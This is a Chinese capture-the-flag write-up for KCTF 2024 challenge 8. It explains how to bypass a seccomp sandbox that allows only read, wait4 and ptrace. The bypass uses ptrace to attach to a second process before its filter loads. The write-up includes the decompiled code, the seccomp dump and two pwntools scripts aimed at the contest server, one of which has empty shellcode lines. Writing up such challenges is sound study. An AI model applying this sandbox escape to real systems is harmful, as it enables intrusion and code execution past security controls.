【CTF对抗-KCTF 2024 第8题-星门-WriteUp-Ptrace绕过Seccomp】此文章归类为:CTF对抗。
· main函数
1 2 3 4 5 6 7 8 9 10 11 12 | int __cdecl main( int argc, const char * * argv, const char * * envp)
{
void * buf; / / [rsp + 0h ] [rbp - 10h ]
init(argc, argv, envp);
buf = mmap( 0LL , 0x1000uLL , 7 , 34 , - 1 , 0LL );
setup_seccomp();
read( 0 , buf, 0x1000uLL );
((void ( * )(void))buf)();
munmap(buf, 0x1000uLL );
return 0 ;
}
|
· setup_seccomp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | __int64 setup_seccomp()
{
__int64 v1; / / [rsp + 8h ] [rbp - 8h ]
v1 = seccomp_init( 0LL );
if ( !v1 )
{
perror( "seccomp_init" );
exit( 1 );
}
if ( ( int )seccomp_rule_add(v1, 2147418112LL , 101LL , 0LL ) < 0
|| ( int )seccomp_rule_add(v1, 2147418112LL , 0LL , 0LL ) < 0
|| ( int )seccomp_rule_add(v1, 2147418112LL , 61LL , 0LL ) < 0 )
{
perror( "seccomp_rule_add" );
seccomp_release();
exit( 1 );
}
if ( ( int )seccomp_load(v1) < 0 )
{
perror( "seccomp_load" );
seccomp_release();
exit( 1 );
}
return seccomp_release();
}
|
程序逻辑如上,使用mmap申请一块0x1000大小的可执行内存,通过read读取用户输入的内容,直接执行shellcode
· seccomp规则
我们可以利用一个工具来看到底设置了什么
secconp-tools
1 2 3 4 5 6 7 8 9 10 11 12 13 | root@ 809e3878db51 : / home / sectest
line CODE JT JF K
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0000 : 0x20 0x00 0x00 0x00000004 A = arch
0001 : 0x15 0x00 0x07 0xc000003e if (A ! = ARCH_X86_64) goto 0009
0002 : 0x20 0x00 0x00 0x00000000 A = sys_number
0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005
0004 : 0x15 0x00 0x04 0xffffffff if (A ! = 0xffffffff ) goto 0009
0005 : 0x15 0x02 0x00 0x00000000 if (A = = read) goto 0008
0006 : 0x15 0x01 0x00 0x0000003d if (A = = wait4) goto 0008
0007 : 0x15 0x00 0x01 0x00000065 if (A ! = ptrace) goto 0009
0008 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009 : 0x06 0x00 0x00 0x00000000 return KILL
|
可以看到,seccomp 使用白名单模式,仅允许 read、ptrace、wait4,且检查了ARCH_X86_64和0x40000000。
参考一下PWN题中常见的seccomp绕过方法
以下这些一眼pass了
execve
open,write,read
0x40000000+sys_number绕过
通过retfq切换到32模式绕过
·被卡住很久的地方
查阅资料发现可以通过ptrace修改掉syscall的调用号,大概意思就是seccomp处理后会通知调试进程,syscall-->seccomp-->ptrace,然后就可以通过ptrace的函数改掉syscall。
·尝试1:构造execve的shellcode,然后将syscall改为白名单的ptrace,等sec检查通过后再将syscall还原成execve。
·尝试2:构造open、read、write的shellcode,然后将syscall改为白名单的ptrace,等sec检查通过后,使用计数器将syscall还原成open、read、write,第1次=open,第2次=read,第3次=write
通过自己编译代码测试,不开seccomp的程序可以正常获取flag,开了seccomp就无法运行了。
卡了一天之后怀疑人生中,直到拉了这个通过ptrace 修改syscall的源码编译,发现也是无法绕过,一度怀疑网上相关的WP的正确性
·疯狂查资料
通过在网上疯狂翻seccomp绕过相关的文章,直到看到V3rdant师傅的这篇文章
V3rdant-Linux.Seccomp-and-Ptrace
得到2个关键信息:
1、linux内核版本4.8以下,syscall-->seccomp-->ptrace。linux内核版本4.8以上,syscall-->ptrace-->seccomp。
也就是说linux内核版本4.8以上,通过ptrace修改完syscall之后,还是会交给seccomp检查。
2、使用nc 连接两次,产生两个进程,如果能在第二个进程运行前,通过ptrace截停prctl的调用,改成随便一个无关调用,就可以实现沙盒的绕过
看到这句话后有了灵感,也就是说从程序启动到seccomp_steup的这段时间内,如果能成功附加程序,就可以绕过seccomp了!
·exp
··1.py,负责指定一个进程ID,并无限尝试附加,比如附加进程ID3000,直到附加成功,然后将seccomp相关调用过滤掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | from pwn import *
if len (sys.argv) ! = 2 :
print ( "Usage: python script.py <pid>" )
sys.exit( 1 )
ip = "47.101.191.23"
p = remote(ip, 9999 )
context.arch = 'amd64'
pid = int (sys.argv[ 1 ])
print ( 'PID: {}' . format (pid))
shellcode =
shellcode + = shellcraft.ptrace( 0x10 ,pid, 0 , 0 )
shellcode + =
shellcode + = shellcraft.ptrace( 0x18 ,pid, 0 , 0 )
shellcode + = shellcraft.wait4(pid, 0 , 0 )
shellcode + = shellcraft.ptrace( 12 ,pid, 0 , "rsp" )
shellcode + =
shellcode + =
shellcode + = shellcraft.ptrace( 13 ,pid, "rsp" )
shellcode + =
p.sendline(asm(shellcode))
p.interactive()
|
··2.py,负责启动新进程并发送shellcode,如果创建的进程ID刚好被1.py附加,seccomp失效,则可以正常执行shellcode。
这里我构造了open、read、write的shellcode,当然execve也是可以的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | from pwn import *
ip = "47.101.191.23"
context.arch = 'amd64'
def test():
is_find = 0
while True :
sc = "mov rax, 0x67616c66\n"
sc + = "push rax\n"
sc + = "mov rdi, rsp\n"
sc + = shellcraft.amd64. open ( 'rdi' , 0 )
sc + = shellcraft.amd64.read( 'rax' , "rsp" , 0x50 )
sc + = shellcraft.amd64.write( 1 , "rsp" , 0x50 )
if is_find = = 1 :
os._exit( 0 )
try :
r = remote(ip, 9999 )
except Exception as e:
r.close()
continue
try :
is_find = 0
r.sendline(asm(sc))
data = r.recv( 40 , timeout = 0.5 )
if data[: 4 ] = = b 'flag' :
is_find = 1
print ( repr (data))
print ( "Flag found!" )
print ( "Flag: " + data.decode())
r.close()
os._exit( 0 )
else :
print ( "Flag not found." )
r.close()
except Exception as e:
print (e)
r.close()
test()
|
·附加了100个进程,经过几分钟爆破后,出现了flag
得到flag{4297f44b13955235245b2497399d7a93}
最后于 5小时前
被wx_孤城编辑
,原因:
更多【CTF对抗-KCTF 2024 第8题-星门-WriteUp-Ptrace绕过Seccomp】相关视频教程:www.yxfzedu.com